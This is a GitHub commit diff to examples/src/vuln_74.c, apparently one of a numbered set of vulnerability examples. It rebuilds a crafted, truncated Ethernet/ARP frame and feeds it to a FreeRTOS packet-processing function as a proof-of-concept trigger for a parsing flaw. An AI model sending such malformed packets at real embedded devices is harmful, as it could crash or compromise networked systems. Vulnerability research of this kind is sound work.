Skip to content

Commit cb0f319

Browse files
author
Alexander Senier
committed
Exploit ARP through Ethernet
1 parent 236f798 commit cb0f319

File tree

1 file changed

+6
-12
lines changed

1 file changed

+6
-12
lines changed

examples/src/vuln_74.c

Lines changed: 6 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,21 +1,15 @@
1-
#include "FreeRTOS.h"
2-
#include "list.h"
3-
#include "task.h"
4-
#include "FreeRTOS_IP.h"
5-
#include "FreeRTOS_IP_Private.h"
6-
#include "FreeRTOS_ARP.h"
1+
#include <freertos_10_0_1_helper.h>
72

83
char data[] =
94
// Ethernet header
10-
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
11-
// IP header
12-
"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
5+
"\x00\x00\x00\x00\x00\x00" // destination
6+
"\x00\x00\x00\x00\x00\x00" // source
7+
"\x08\x06" // ether type: ARP
138
// ARP header
14-
"\0\0" // hardware address space
9+
"\x00\x00" // hardware address space
1510
;
1611

1712
int main()
1813
{
19-
eFrameProcessingResult_t result = eARPProcessPacket ((ARPPacket_t *)data);
14+
process_ethernet (data, sizeof(data));
2015
}
21-

0 commit comments

Comments
 (0)